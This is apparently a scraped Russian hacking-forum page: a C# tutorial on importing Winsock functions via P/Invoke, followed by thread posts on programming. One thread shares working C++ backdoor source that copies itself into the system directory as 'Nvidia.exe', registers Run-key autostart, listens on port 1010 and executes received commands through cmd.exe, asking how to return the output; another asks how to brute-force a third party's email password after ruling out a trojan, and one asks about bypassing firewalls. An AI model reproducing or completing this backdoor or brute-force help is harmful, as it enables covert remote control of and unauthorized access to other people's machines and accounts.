Предворительно , читатель уже разбирается в win сокетах , например знает C++ , в C# недавно...
Вот , представим читающий знает C++ и изучая C# хочет работать с советыми максимально 'близко'...

Но думаю начинающему изучать c# будет полезно ...

[абоут]
В статье мы будем использовать Winsock , не подключая System.net.sockets , а напрямую из ws2_32.dll и wsock32.dll , импортируя необходимые нам функции ...
Я опишу , возможные ошибки и трудности с типами пременных, которые могут возникнуть...

[go]
ну ладно , теперь уже приступим :

Как я уже говорил , мы будем импортировать функции из библиотек...
пожалуй приступим:

(инклудим dll-импорт)
using System.Runtime.InteropServices;

Для начала нам понадобится WSAStartup ...

Подключив System.Net.Sockets мы вообще можем не думать о инициализации ...

имея заголоваочный файл winsock2.h , в C++ эта функция задается вот так:

WSADATA wdata;
WSAStartup(MAKEWORD(2,2), &wdata);

Здесь нам прилется самим обьявить и заполнить struct wsadata:
MSDN даёт нам вод такой пример :

Code:Copy to clipboard

typedef struct WSAData {
  WORD wVersion;
  WORD wHighVersion;
  char szDescription[WSADESCRIPTION_LEN+1];
  char szSystemStatus[WSASYS_STATUS_LEN+1];
  unsigned short iMaxSockets;
  unsigned short iMaxUdpDg;
  char FAR* lpVendorInfo;
} WSADATA, 
 *LPWSADATA;

Переведя 'наскоком' на C# мы получим вот такой код :

Code:Copy to clipboard

public struct WSA_Data{
            public int wVersion;
            public int wHighVersion;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 0x101)] 
            public string szDescription;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 0x81)]
            public string szSystemStatus;
            public int iMaxSockets;
            public int iMaxUdpDg;
            public long lpVendorInfo;
}

Но этот код будет несовсем точным т к C# очен требователен в отношении типов данных
(см про явные и неявные преобразования в C#)
В итоге , уточнив типы данных, приходим вот такому , наиболее точному коду :

Code:Copy to clipboard

[StructLayout(LayoutKind.Sequential)]
        public class WSA_Data
        {
            public Int16 wVersion;
            public Int16 wHighVersion;
            public String szDescription;
            public String szSystemStatus;
            public Int16 iMaxSockets;
            public Int16 iMaxUdpDg;
            public IntPtr lpVendorInfo;
        }

Собственно вот они элементарные трудности перевода ...

Теперь , имея свой WSA_Data импортируем саму функуцию:

Code:Copy to clipboard

 [DllImport("ws2_32.dll")]
        static extern Int32 WSAStartup(Int16 wVR, WSA_Data lpWSAD);

при этом обьявим константу для версии сокета...

public const short WORD_VERSION = 36;

Функцию мы подготовили ...

Используем вот так:

Code:Copy to clipboard

WSA_Data wsaData = new WSA_Data();

            if (WSAStartup(WORD_VERSION, wsaData) != 0)
            {
                MessageBox.Show("WSAStartup error");
            }

Соответственно нам понадобится узнавать ошибки:
WSAGetLastError обьявдяется так же как и в C++ ...

Code:Copy to clipboard

   [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern Int32 WSAGetLastError();

Новичкам следует заметить , что для вывода результата , например в MessageBox ,нужно преобразовать его в строку (прим. в текст)...

Code:Copy to clipboard

  if (WSAStartup(WORD_VERSION, wsaData) != 0)
            {
                MessageBox.Show(WSAGetLastError().ToString());
            }

Далее перейдем к функции socket();
msdn описание:

SOCKET WSAAPI socket(
__in int af,
__in int type,
__in int protocol
);

В случае успеха функция возвращает дискриптор нового сокета ... в С++ тип int почти универсален для функций ,в C# для дескриптора мы будем использовать специальный тип IntPtr.
IntPtr – это platform-specific тип, который используется для представления указателей или дескрипторов...

Code:Copy to clipboard

  [DllImport("wsock32.dll")]
        static extern IntPtr socket(long af, long s_type, long protocol);

константы:

Code:Copy to clipboard

public const int AF_INET = 2;
public const int SOCK_STREAM = 1;
public const int PPROTO_TCP =6
public const int PPROTO_UDP = 17

Конструкция:

Code:Copy to clipboard

IntPtr s = socket(AF_INET, SOCK_STREAM, PPROTO_TCP);

 if (s.ToInt32() != 0)
          {
               MessageBox.Show("Socket Error:" + WSAGetLastError().ToString());
          }

Теперь переидем к функции bind. Функция bind ассациирет (привязывает) сокет к локальному адресу.

Обьявим структуру sockaddr

Code:Copy to clipboard

public struct sockaddr
        {
            public short sin_family;
            public short sin_port;
            public int sin_addr;
            public long sin_zero;
        }

Code:Copy to clipboard

  [DllImport("wsock32.dll")]
        public static extern int bind(IntPtr socket, ref sockaddr addr, int namelen);

Новичкам следует обратить внимание на модификатр ref . Этот модификатор одновременно является и in и out модификатором. Дело в том, что при использовании параметра с модификатором ref объект передается в метод по ссылке. В результате метод получает возможность изменить этот объект. Очень часть таким способом передаются массивы." (blog.excode.ru)

для заполнения структуры нам понадобятся еще функции htons(преобразовывающая данные для их правильности при использовании WinSock) и inet_addr(для преобразования строки с IP-адресом в формате десятичное с точкой в 32-разрядное двоичное число (с сетевым порядком байтов)).

Code:Copy to clipboard

        [DllImport("ws2_32.dll")]
        static extern short htons(int hostshort);

        [DllImport("wsock32.dll")]
        static extern int inet_addr(string cp);

Теперь же создадим и заполним эту структуру , в итоге обьединим в небольшую функцию:

Code:Copy to clipboard

 public static bool AdvBind(string ipAddress, int port,IntPtr socketHandle)
        {
            sockaddr remoteAddress;            // Обьявляем 
            int resultCode = 0;            //это будет код резудбтата
            int errorCode = 0;                //а это код (в сучае) ошибки
            bool returnValue = false;            // то - что будет возвращать функция

            if (socketHandle != IntPtr.Zero)   // проверяем валидность сокета
            {
                try
                {

                    remoteAddress = new sockaddr();
                    remoteAddress.sin_family = AF_INET;
                    remoteAddress.sin_port = htons((short)port);  
                    remoteAddress.sin_addr = inet_addr(ipAddress);
                    remoteAddress.sin_zero = 0;


                    if (remoteAddress.sin_addr != 0)
                    {

                        resultCode = bind(socketHandle,ref remoteAddress,Marshal.SizeOf(remoteAddress));
                        errorCode = WSAGetLastError();
                        returnValue = (resultCode == 0);
                    }
                }
                catch
                {
                    returnValue = false;
                }
            }
            return returnValue;
        }

Теперь уже , более мение разобравшись наиболее трудными (для новичка) с типами и структурами данного примера мы уже без труда можем оперировать с основными функциями WinSock ...

<не буду повторяться продолжая писать уже однообразный код к каждой йункции , хотя при освоении языка мне этот процесс показался довольно интересным и увлекательным>
Дальше вам поможет Msdn , Гугл и собственное стремление ...

[bonus]

небольшая подсказка:

Code:Copy to clipboard

[DllImport("wsock32.dll")]
        static extern int connect(IntPtr socket,sockaddr addr, int addrlen);

[DllImport("wsock32.dll")]
        static extern int recv(IntPtr socket, string buf, int len, int flag);

[DllImport("wsock32.dll")]
static extern long WSAAsyncSelect(IntPtr socket, long hwnd, long iMsg, long lEvent);

[DllImport("ws2_32.dll", CharSet=CharSet.Auto, SetLastError=true)]
static extern IntPtr accept(
          IntPtr socketHandle,
          ref sockaddr socketAddress, 
          ref int addressLength);

[DllImport("wsock32.dll")]
static extern int closesocket(IntPtr s);

[DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern Int32 WSACleanup();

[outro]
Я хотел описать все функции и впринципе можно было добавить их подробное описание , но посмотрев , скока я написал вначале , я решил остановиться на основных функциях...возможно , когда будет время и желание...
Еще можно задуматься об актуальности данной статьи . Помог изобрести велосипед , можете сказать ... но это тоже полезно ...

[bonus]
Полезные ссылки по C#
http://www.intuit.ru/department/pl/csharp/
http://www.gotdotnet.ru/LearnDotNet/CSharp/default.aspx

Вопросец по бруту.
ID: 6765d804b4103b69df375b7a
Thread ID: 13688
Created: 2006-11-29T11:39:54+0000
Last Post: 2006-12-03T17:53:15+0000
Author: dark_gradius
Replies: 7 Views: 3K

В начале - скажу что я новичок.(это чтоб не пинали ногами))
Задача была получить пароль от мыла. Троян не подходил так как на компе владельца были фаервол\антивирь а писать троян который бы их обходил - для меня задача сложная.(учуся я).
Подумал что наверное имеет смысл написать брутфорс. Собственно написал. Но есть одно но: время.
Я не имею представления о том как пишутся брутфорсы поэтому свой писал так:
1)используя CSocket коннектимся к серверу
2)шлём логин
3)шлёмм пасс
4)Обрабатываем ответ. Если он отрицательный - разрываем соединение, переходим на пункт один.
Таким образом на взом 4 значного пароля из одних цифр уходит куча времени. И это я молчу о 9 значных цифро-буквенных.
Так и должно быть? Более быстрого способа проверки нет? Какие есть мнения о том как составлять словари?
Буду очень благодарен за любые ссылки по этой теме + за ссылки откуда можно скачать уже написанные бруты.

ЗЫ нашёл тут на форуме видео как юзать гидру(видимо гидра это брутфорс, по крайней мере я так понял) щас пойду смотреть.

вывод результатов команд cmd?
ID: 6765d804b4103b69df375b7c
Thread ID: 10124
Created: 2006-03-10T19:46:58+0000
Last Post: 2006-12-02T23:46:43+0000
Author: S.S.D.D.
Replies: 3 Views: 3K

Такой вопрос по С++

Есть сорец:

Code:Copy to clipboard

#include <winsock2.h>
#include <resource.h>

#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:WinMain")



int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){ 

	char str[256],sysbuf[256];
	GetModuleFileName(GetModuleHandle(NULL),str,256);

	GetSystemDirectory(sysbuf,256);
	strcat(sysbuf,"\\Nvidia.exe");//имя зверя
	CopyFile(str,sysbuf,true);

	HKEY hk;
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
	RegSetValueEx(hk,"NvCpl",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
	RegCloseKey(hk);

	WSADATA wsaData;
	WSAStartup(MAKEWORD(2,2), &wsaData);

    SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
	SOCKADDR_IN  addr_Sock;

	addr_Sock.sin_family = AF_INET;
	addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
	addr_Sock.sin_port = htons(1010);//порт

	if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return 0;
	if(listen(listet_Sock, 1)) return 0;

	int i;
	char type[2], buf[126];
	while(true){
  SOCKET hack_Sock = accept(listet_Sock,NULL,NULL);
  while(true){
  	i = recv(hack_Sock, type, 2, 0),recv(hack_Sock, buf, 126, 0);
            if ((i== SOCKET_ERROR)||(i == 0)) break;
  	if (type[0] == 'e') 
  	{
    char buf_command[524] = "/c ";
    strcat(buf_command,buf);
    ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_SPOILER);
  	}
             }
  shutdown(hack_Sock,1);
  closesocket(hack_Sock);
	}

	WSACleanup();
	return 0;
}

Понимаю, что примитивно, но все же. Как мне организовать вывод результатов команд cmd? Т.е. я коннектюсь, передаю команды в виде e "dir", а вывод результатов не доделан.

Как работает NET send
ID: 6765d804b4103b69df375b7d
Thread ID: 10140
Created: 2006-04-05T19:17:35+0000
Last Post: 2006-12-02T23:40:54+0000
Author: Pokoinik
Replies: 8 Views: 3K

Люди!!! Мож кто знает, как работает утилита net send???
Про run:net send "message" я знаю,
хотелось бы узнать, на каком порту висит, что бы мессагу отправить непосредственно в порт?
Спасибо!!! :bang:

Обход стенки на С
ID: 6765d804b4103b69df375b84
Thread ID: 10792
Created: 2006-08-23T09:30:15+0000
Last Post: 2006-10-27T14:32:01+0000
Author: Sinte Z z
Replies: 6 Views: 3K

:) Как можно организовать обход фаерволов на: С

Программирование аппаратных средств
ID: 6765d804b4103b69df375b89
Thread ID: 12515
Created: 2006-10-13T17:29:53+0000
Last Post: 2006-10-16T06:12:01+0000
Author: Namelles One
Replies: 3 Views: 3K

Как вам всем известно - в Винде ХР нельзя напрямую работать с портами переферии работать, поэтому функции _outp и _inp из стандартного conio.h - курят в сторонке ибо выскакивает исключение..

К книге Всеволода Несвижского на эту тему прилагается 3 любопытнейших файлика

  • драйверок виртуального устройства и два листинга, которые описывают функции не выдащие ошибок..

Но почему-то они нифига не пашут..
Приведу листинги файлов на С.

Code:Copy to clipboard

// реализация класса СIO32NT

#include "stdafx.h"
#include "IO32NT.h"
#include <conio.h>
#include <Winsvc.h>

// конструктор
CIO32NT :: CIO32NT ( )
{
    hSYS = NULL;
}

// деструктор
CIO32NT :: ~CIO32NT ( )
{
    DWORD dwReturn;

    if ( hSYS != INVALID_HANDLE_VALUE )
    {
     // блокируем драйвер
     DeviceIoControl ( hSYS, IOCTL_WINIO_DISABLEDIRECTIO, NULL,
                                0, NULL, 0, &dwReturn, NULL );

     CloseHandle ( hSYS ); // закрываем драйвер
    }
    // освобождаем системные ресурсы
    _freeService ( );
    hSYS = NULL;
}

// функции
bool CIO32NT :: InitPort ( )
{
    bool bResult;
    PSTR pszTemp;
    char szExe[MAX_PATH];
    DWORD dwRet;

    // открываем драйвер
    hSYS = CreateFile ( "\\\\.\\IOtrserv", GENERIC_READ | GENERIC_WRITE,
                  0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
    // если не удалось, инициализируем службу сервисов
    if ( hSYS == INVALID_HANDLE_VALUE )
    {
      // получаем имя программы
      if ( !GetModuleFileName ( GetModuleHandle ( NULL ), szExe,
                                sizeof ( szExe ) ) )
            return false;

      // ищем указатель на последнюю косую черту
      pszTemp = strrchr ( szExe, '\\' );

      // убираем имя программы
      pszTemp[1] = 0;

      // а вместо него добавляем имя драйвера
      strcat ( szExe, "IOtrserv.sys" );

      // загружаем сервис
      bResult = _loadService ( szExe );

      // если ошибка, выходим из функции
      if ( !bResult ) return false;

      // запускаем наш сервис
      bResult = _goService ( );

      // если ошибка, выходим из функции
      if ( !bResult ) return false;

      // открываем драйвер
      hSYS = CreateFile ( "\\\\.\\IOtrserv", GENERIC_READ |
    GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );

       // если не удалось, выходим из функции
       if ( hSYS == INVALID_HANDLE_VALUE ) return false;
    }

    if ( !DeviceIoControl ( hSYS, IOCTL_WINIO_ENABLEDIRECTIO, NULL,
                            0, NULL, 0, &dwRet, NULL ) )
         return false; // драйвер недоступен

    return true;
}

bool  CIO32NT :: _loadService ( PSTR pszDriver )
{
  SC_HANDLE hSrv;
  SC_HANDLE hMan;

  // на всякий случай выгружаем открытый сервис
  _freeService ( );

  // открываем менеджер сервисов
  hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
  // создаем объект сервиса из нашего драйвера
  if ( hMan )
  {
   hSrv = CreateService ( hMan, "IOtrserv", "IOtrserv",
   SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
   SERVICE_ERROR_NORMAL, pszDriver, NULL, NULL, NULL, NULL, NULL );

   // освобождаем менеджер объектов
   CloseServiceHandle ( hMan );
   if ( hSrv == NULL ) return false;
  }
  else
   return false;

  CloseServiceHandle ( hMan );
  return true;
}

bool  CIO32NT :: _goService ( 
{
   bool bRes;
   SC_HANDLE hSrv;
   SC_HANDLE hMan;

   // открываем менеджер сервисов
   hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
   if ( hMan )
   {
     // открываем сервис
     hSrv = OpenService ( hMan, "IOtrserv", SERVICE_ALL_ACCESS );

     // закрываем менеджер сервисов
     CloseServiceHandle ( hMan );
     if ( hSrv )
     {
      // запускаем сервис
      bRes = StartService ( hSrv, 0, NULL );

      // в случае ошибки закрываем дескриптор
      if( !bRes )
           CloseServiceHandle ( hSrv );
     }
     else
      return false;
   }
   else
    return false;

   return bRes;
}

bool CIO32NT :: _stopService ( )
{
   bool bRes;
   SERVICE_STATUS srvStatus;
   SC_HANDLE hMan;
   SC_HANDLE hSrv;

   // открываем менеджер сервисов
   hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
   if ( hMan )
   {
     // открываем сервис
     hSrv = OpenService ( hMan, "IOtrserv", SERVICE_ALL_ACCESS );

     // закрываем менеджер сервисов
     CloseServiceHandle ( hMan );
     if ( hSrv )
     {
      // останавливаем сервис
      bRes = ControlService ( hSrv, SERVICE_CONTROL_STOP, &srvStatus );

      // закрываем сервис
      CloseServiceHandle ( hSrv );
     }
     else
      return false;
   }
   else
    return false;
   return bRes;
}

bool CIO32NT :: _freeService ( )
{
   bool bRes;
   SC_HANDLE hSrv;
   SC_HANDLE hMan;

   // останавливаем наш сервис
   _stopService ( );

   // открываем менеджер сервисов
   hMan = OpenSCManager ( NULL, NULL, SC_MANAGER_ALL_ACCESS );
   if ( hMan )
   {
     // открываем сервис
     hSrv = OpenService ( hMan, "IOtrserv", SERVICE_ALL_ACCESS );

     // закрываем менеджер сервисов
     CloseServiceHandle ( hMan );
     if ( hSrv )
     {
       // удаляем наш сервис из системы и освобождаем ресурсы
       bRes = DeleteService ( hSrv );

       // закрываем дескриптор нашего сервиса
       CloseServiceHandle ( hSrv );
     }
     else
       return false;
   }
   else
    return false;
   return bRes;
}

// пишем функции ввода-вывода
void CIO32NT :: inPort ( WORD wPort, PDWORD pdwValue, BYTE bSize )
{
   switch ( bSize )
   {
   case 1:
      *pdwValue = _inp( wPort );
       break;
   case 2:
      *pdwValue = _inpw ( wPort );
       break;
   case 4:
       *pdwValue = _inpd ( wPort );
       break;
   }
}

void CIO32NT :: outPort ( WORD wPort, DWORD dwValue, BYTE bSize )
{
   switch ( bSize )
   {
    case 1:
        _outp ( wPort, ( BYTE ) dwValue );
        break;
    case 2:
        _outpw ( wPort, ( WORD ) dwValue );
        break;
    case 4:
        _outpd ( wPort, dwValue );
        break;
   }
}

и

Code:Copy to clipboard

// IO32NT.h: interface for the CIO32NT class.

#include <winioctl.h>

// определяем коды функций драйвера
#define FILE_DEVICE_WINIO 0x00008010
#define WINIO_IOCTL_INDEX 0x810
#define IOCTL_WINIO_ENABLEDIRECTIO   CTL_CODE ( FILE_DEVICE_WINIO, \
              WINIO_IOCTL_INDEX + 2, METHOD_BUFFERED, FILE_ANY_ACCESS )
#define IOCTL_WINIO_DISABLEDIRECTIO  CTL_CODE ( FILE_DEVICE_WINIO, \
              WINIO_IOCTL_INDEX + 3, METHOD_BUFFERED, FILE_ANY_ACCESS )

// объявляем класс
class CIO32NT  
{
public:
       CIO32NT ( );
       ~CIO32NT ( );

// общие функции

       bool InitPort ( ); // инициализация драйвера

       // функция для считывания значения из порта
       void inPort ( WORD wPort, PDWORD pdwValue, BYTE bSize );

       // функция для записи значения в порт
       void outPort ( WORD wPort, DWORD dwValue, BYTE bSize );

private:
// закрытая часть класса
       HANDLE hSYS; // дескриптор драйвера
// служебные функции
       // загрузка сервиса
       bool _loadService ( PSTR pszDriver );
       bool _goService ( ); // запуск сервиса
       bool _stopService ( ); // остановка сервиса
       bool _freeService ( ); // закрытие сервиса
}; // окончание класса

В частности - мне непонятно место

Code:Copy to clipboard

 // ищем указатель на последнюю косую черту
      pszTemp = strrchr ( szExe, '\\' );

      // убираем имя программы
      pszTemp[1] = 0;

      // а вместо него добавляем имя драйвера
      strcat ( szExe, "IOtrserv.sys" );

в реализации функции..

Мб из-за этого не пашет, а мб из-за чего-то другого...
Реально ли эту гадость заставить работать или что вообще надо сделать, чтобы заработала данная тема работы с устройствами?

VS 7 .Net
ID: 6765d804b4103b69df375b8c
Thread ID: 11688
Created: 2006-09-13T21:44:30+0000
Last Post: 2006-09-14T09:02:35+0000
Author: Pokoinik
Replies: 3 Views: 3K

У меня вопрос по самой VS 7 .Net
Суть:
в меню Project есть пункт Add function
(если его там нет, в View->Toolbars->Customize можно настроить)
Как этим пользоваться?
Если я правильно понимаю, то это должен быть мастер создания функций,
но при работе с кодом этот пункт не доступен.

обращение к флопику
ID: 6765d804b4103b69df375b8d
Thread ID: 11395
Created: 2006-09-04T19:13:15+0000
Last Post: 2006-09-10T20:26:30+0000
Author: chiff
Replies: 5 Views: 3K

подскажите плиз как реализовать обращние к флопику, что бы он издавал звук, анологичный звуку, издаваемому при нажатии на пустой флопик правой кнопкой грызуна.

Размеры скомпиленых файлов в С++
ID: 6765d804b4103b69df375b8e
Thread ID: 10141
Created: 2006-04-08T20:01:02+0000
Last Post: 2006-08-27T13:15:14+0000
Author: LaN_DAo
Replies: 6 Views: 3K

Недавно начал изучать Си , до этого только кое что на паскале ваял. Поставил себе посмотреть что подрукой было(BORLAND C++ 3.1 & BORLAND C++ 3.1 for Windows, Microsoft Visual C++ 6.0) Поевились вопросы:

  1. При создании фаила типа хело ворлд под С++ 3.1 прога (исходный ехе фаил) весит 22,9 кБ, в BORLAND C++ 3.1 for Windows 33 кБ , в Microsoft Visual C++ 6.0 занимает аж целых 172 кБ - немноголи это для программы такого типа ?
    И отсюда вытекает сразу следующий вопрос - может всё дело в настройках компилятора и как тогда его толково настроить.

  2. Пролистал преведущие топики узнал о существовании уже 7 и 8 версии Microsoft Visual C++ - актуальны ли преведущие вопросы там и стоит ли переходить на новые версии - отличаются ли они координально от преведущих версий или просто немного подправленые - пропатченые продукты и толку особого нет?

Литература по кодингу в куче
ID: 6765d804b4103b69df375b90
Thread ID: 8083
Created: 2006-04-25T17:48:54+0000
Last Post: 2006-08-22T19:02:24+0000
Author: Spawn™
Prefix: Мануал/Книга
Replies: 3 Views: 3K

195 книг по програмированию
вот нашёл куча книг по програмированию, если быть точным их 195

How to Be a Programmer
http://samizdat.mines.edu/howto/HowToBeAProgrammer.html
How to Design Programs
http://www.htdp.org/2002-09-22/Book/
Practical Theory of Programming
http://www.cs.toronto.edu/%7Ehehner/aPToP/
Software Engineering for Internet Applications
http://philip.greenspun.com/seia/
Structure and interpretation of computer programs
http://mitpress.mit.edu/SICP/
More programming books http://2020ok.com/3839.htm
The Programmers Stone
http://www.reciprocality.org/Reciprocality/r0/
Subversion Version Control: Using the Subversion Version Control System in Development Projects
http://www.phptr.com/promotions/promotion....84&redir=1&rl=1

Ada

Ada 95 Rational
http://www.adaic.org/standards/95rat/RATht...5-contents.html
Ada 95 Reference Manual
http://www.adahome.com/rm95/
Changes to Ada 1987 - 1995
http://www.oopweb.com/Ada/Documents/Change...lumeFrames.html
Ada 95: The Lovelace Tutorial
http://www.adahome.com/Tutorials/Lovelace/master.htm
The Big Online Book of Linux Ada Programming
http://www.pegasoft.ca/resources/boblap/book.html

Algorithms

Algorithms and Complexity
http://www.cis.upenn.edu/%7Ewilf/AlgComp.html
Programming Algorithms http://2020ok.com/3870.htm
Information Theory, Inference, and Learning Algorithms
http://www.inference.phy.cam.ac.uk/mackay/itprnn/book.html

Assembly

Assembly Language Tutorial
http://www.oopweb.com/Assembly/Documents/a...lumeFrames.html
Programming From the Ground Up
http://download.savannah.gnu.org/releases/pgubook/
Assembly Language Programming http://2020ok.com/3954.htm
Ralph Brown's Interrupt List
http://www.oopweb.com/Assembly/Documents/I...lumeFrames.html
The Art of Assembly Language Programming
http://www.oopweb.com/Assembly/Documents/A...lumeFrames.html
The Assembly Language Database
http://www.oopweb.com/Assembly/Download/NortonGuide.zip
Win32 Programming for x86 Assembly Language Programmers
http://www.oopweb.com/Assembly/Documents/W...lumeFrames.html

C

A Tutorial on Pointers and Arrays in C
http://www.oopweb.com/CPP/Documents/CPoint...lumeFrames.html
C Programming
http://www.oopweb.com/CPP/Documents/CProgr...lumeFrames.html
Object Orientated Programming in ANSI-C
http://www.planetpdf.com/developer/article...?contentid=6635
The C Book
http://publications.gbdirect.co.uk/c_book/
Writing Bug-Free C Code
http://www.duckware.com/bugfreec/index.html
C - Elements of Style
http://www.computer-books.us/c_3.php
Learning GNU C
http://www.linuxtopia.org/online_books/pro...nu_c/index.html

C++

An Overview Of The C++ Programming Langauge
http://www.oopweb.com/CPP/Download/crc.zip
C++ Annotations
http://www.oopweb.com/CPP/Documents/CPPAnn...lumeFrames.html
C++ Annotations
http://www.oopweb.com/CPP/Download/cplusplus.zip
C++ Coding Standard
http://www.oopweb.com/CPP/Documents/CodeSt...lumeFrames.html
C & C++ http://2020ok.com/3956.htm
C++ Course
http://www.oopweb.com/CPP/Download/CPPCourse.zip
C++ How To
http://www.oopweb.com/CPP/Documents/CPPHOW...lumeFrames.html
C++ In Action
http://www.relisoft.com/book/index.htm
C++: A Dialog
http://www.steveheller.com/cppad/cppad.htm
How To Think Like A Computer Scientist with C++
http://www.oopweb.com/CPP/Documents/ThinkC...lumeFrames.html
Introduction To OOP Using C++
http://www.oopweb.com/CPP/Documents/Intro2...lumeFrames.html
Introduction To OOP Using C++
http://www.oopweb.com/CPP/Download/Intro2OOP.zip
Objects First
http://www.oopweb.com/CPP/Documents/Object...lumeFrames.html
Optimizing C++
http://www.steveheller.com/opt/
STL Guide
http://www.oopweb.com/CPP/Documents/STLGui...lumeFrames.html
STL Guide
http://www.oopweb.com/CPP/Download/stl.zip
The Function Pointer Tutorials
http://www.oopweb.com/CPP/Documents/Functi...lumeFrames.html
The Standard Template Library Tutorial
http://www.oopweb.com/CPP/Documents/STL/VolumeFrames.html
Thinking in C++
http://www.planetpdf.com/developer/article...?ContentID=6634
Thinking in C++, Second Edition (Volumes 1 & 2)
http://mindview.net/Books/TICPP/ThinkingInCPP2e.html
An Introduction to C++ Programming
http://www.computer-books.us/cpp_1.php
Programming in C++ - Rules and Recommendations
http://www.computer-books.us/cpp_6.php
A Beginners C++ Book
http://www.uow.edu.au/~nabg/ABC/ABC.html

C++ GUI Programming with Qt 3
http://www.phptr.com/promotion/1484?redir=1
Cross-Platform GUI Programming with wxWidgets
http://www.phptr.com/promotion/1484?redir=1

C#

C# in Detail
http://www.computer-books.us/csharp_0005.php
C# - The Basics
http://www.computer-books.us/csharp_0004.php
C# Language Specification
http://www.computer-books.us/csharp_1.php
Data Structures and Algorithms with Object-Oriented Design Patterns in C#
http://www.computer-books.us/csharp_2.php
C# Programming http://2020ok.com/697342.htm
Dissecting a C# Application - Inside SharpDevelop
http://www.computer-books.us/csharp_3.php
C# tutorial (2 .pdf's)
[http://www.ssw.uni- linz.ac.at/Teaching/Lec...Sharp/Tutorial/](http://www.ssw.uni- linz.ac.at/Teaching/Lectures/CSharp/Tutorial/)

CGI

CGI Programming on the World Wide Web
http://www.oreilly.com/openbook/cgi/
CGI Programming http://2020ok.com/4025.htm
COBOL

zingCOBOL - A Beginners Guide to COBOL Programming
http://www.computer-books.us/cobol_0006.php
Teach Yourself COBOL in 21 Days
http://www.computer-books.us/cobol_0005.php
WebSphere Studio COBOL for Windows - Language Reference
http://www.computer-books.us/cobol_1.php
COBOL Programming Course
http://www.computer-books.us/cobol_2.php
COBOL Programming http://2020ok.com/3969.htm
WebSphere Studio COBOL for Windows - Programming Guide
http://www.computer-books.us/cobol_3.php
HP COBOL II/XL Reference Manual
http://www.computer-books.us/cobol_4.php

Databases

MySQL Reference Manual
http://dev.mysql.com/doc/
Database http://2020ok.com/549646.htm
Oracle 10g Database Book and Documentation Library
http://wtcis.wtamu.edu/oracle/

Delphi/Pascal

Delphi 2005 Tutorial for Beginners
http://www.xcalibur.co.uk/training/Delphi2005/index.php
Delphi Training
http://www.xcalibur.co.uk/training/delphi/oldindex.html
Essential Delphi
http://marcocantu.com/edelphi/default.htm
Essential Pascal
http://marcocantu.com/epascal/default.htm
Delphi Language Guide - Delphi For The Microsoft .NET Framework
http://www.computer-books.us/delphi_2.php
Delphi Database Application Developers Guide
http://www.computer-books.us/delphi_1.php

Fortran

Numerical Recipes with Fortran 77
http://www.library.cornell.edu/nr/cbookfpdf.html
Numerical Recipes with Fortran 90
http://www.library.cornell.edu/nr/cbookf90pdf.html
Professional Programmer's Guide to Fortran 77
http://www.computer-books.us/fortran_3.php
User Notes on Fortran Programming (UNFP)
http://www.ibiblio.org/pub/languages/fortran/

HTML

HTML 4.01 Specifications
http://www.oopweb.com/HTML/Documents/HTML4/VolumeFrames.html
Web Development http://2020ok.com/3510.htm
Writing HTML
http://www.oopweb.com/HTML/Documents/Writi...lumeFrames.html

Java

How to Think Like a Computer Scientist with Java
http://www.oopweb.com/Java/Documents/Think...lumeFrames.html
Introduction to Programming Using Java
http://www.oopweb.com/Java/Documents/Intro...lumeFrames.html
Introduction To Programming Using Java
http://www.linuxtopia.org/online_books/pro...ming/index.html
Java Programming Tutorial: Introduction to Computer Science
http://www.oopweb.com/Java/Documents/JavaN...lumeFrames.html
Thinking in Java, 3rd Edition
http://www.mindview.net/Books/TIJ/
Thinking in Enterprise Java
http://www.ibiblio.org/pub/docs/books/eckel/
More Java Books http://kickjava.com/freeBooks.html
Java AWT Reference
http://www.oreilly.com/catalog/javawt/book/index.html
Enterprise JavaBeans
http://www.computer-books.us/java_1.php
Essentials of the Java Programming Language - Part 1
http://www.computer-books.us/java_2.php
Essentials of the Java Programming Language - Part 2
http://www.computer-books.us/java_3.php
Exploring Java
http://www.computer-books.us/java_4.php
Introduction to Computer Science using Java
http://www.computer-books.us/java_5.php
Java Development http://2020ok.com/3608.htm
Java Language Reference
http://www.computer-books.us/java_8.php
Java Servlet Programming
http://www.computer-books.us/java_9.php
Java Web Services Tutorial
http://www.computer-books.us/java_10.php
Java Look and Feel Design Guidelines, Second Edition
http://java.sun.com/products/jlf/ed2/book/index.html
The Design Patterns: Java Companion
http://www.patterndepot.com/put/8/JavaPatterns.htm
1000 Java Tips e-Book
http://javaa.com
Apache Jakarta Commons: Reusable Java™ Components
http://www.phptr.com/promotion/1484?redir=1
Java™ Application Development on Linux®
http://www.phptr.com/promotion/1484?redir=1
Practical Artificial Intelligence Programming in Java
http://www.markwatson.com/opencontent/javaai_lic.htm

Javascript

Voodoo's Introduction to Javascript
http://www.oopweb.com/JavaScript/Documents...lumeFrames.html
Javascript Programming http://2020ok.com/3617.htm

Linux

Linux Device Drivers, Third Edition
http://lwn.net/Kernel/LDD3/
The Linux Development Platform
http://www.phptr.com/promotion/1484?redir=1
Understanding the Linux Virtual Memory Manager
http://www.phptr.com/promotion/1484?redir=1
Self-Service Linux®: Mastering the Art of Problem Determination
http://www.phptr.com/promotion/1484?redir=1
Linux® Quick Fix Notebook
http://www.phptr.com/promotion/1484?redir=1
Managing Linux Systems with Webmin: System Administration and Module Development
